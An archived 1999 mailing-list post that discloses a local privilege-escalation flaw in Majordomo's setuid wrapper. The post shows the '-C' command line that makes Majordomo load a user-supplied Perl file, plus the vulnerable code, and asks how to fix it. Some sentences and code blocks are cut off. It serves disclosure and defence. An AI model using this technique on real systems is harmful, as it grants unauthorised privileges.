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$cf Security flaw
From: shevek () anarres org (Shevek)
Date: Thu, 2 Dec 1999 22:00:48 +0000 (GMT)

I can get majordomo privelidges as a user.

shevek () tirin ~$ cat foo.pl
shevek () tirin ~$ /usr/local/majordomo/wrapper majordomo -C /home/shevek/foo.pl

root () tirin /usr/local/majordomo# ls -ld .
drwxr-x--x   6 majordom daemon       1024 Dec  2 21:49 ./
root () tirin /usr/local/majordomo# ls -l wrapper
-rwsr-xr-x   1 root     daemon       6630 Jul 12 11:21 wrapper*

The lines in Majordomo (I found the bug by simple inspection, it's also in

$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf";

while ($ARGV[0]) {      # parse for config file or default list
    if ($ARGV[0] =~ /^-C$/i) {  # sendmail v8 clobbers case
        $cf = $ARGV[1];
    } elsif ($ARGV[0] eq "-l") {
        $deflist = $ARGV[1];
    } else {
        die "Unknown argument $ARGV[0]\n";
if (! -r $cf) {
    die("$cf not readable; stopped");

require "$cf";

Am I doing something wrong, or is this a general flaw? Can I simply
disable all the possible methods of setting $cf without breaking other
things? I haven't had time to inspect the system at any length, I just
glanced at it.

I am not on any greatcircle mailing lists, I would appreciate replies to
my own address if there is discussion on this subject.

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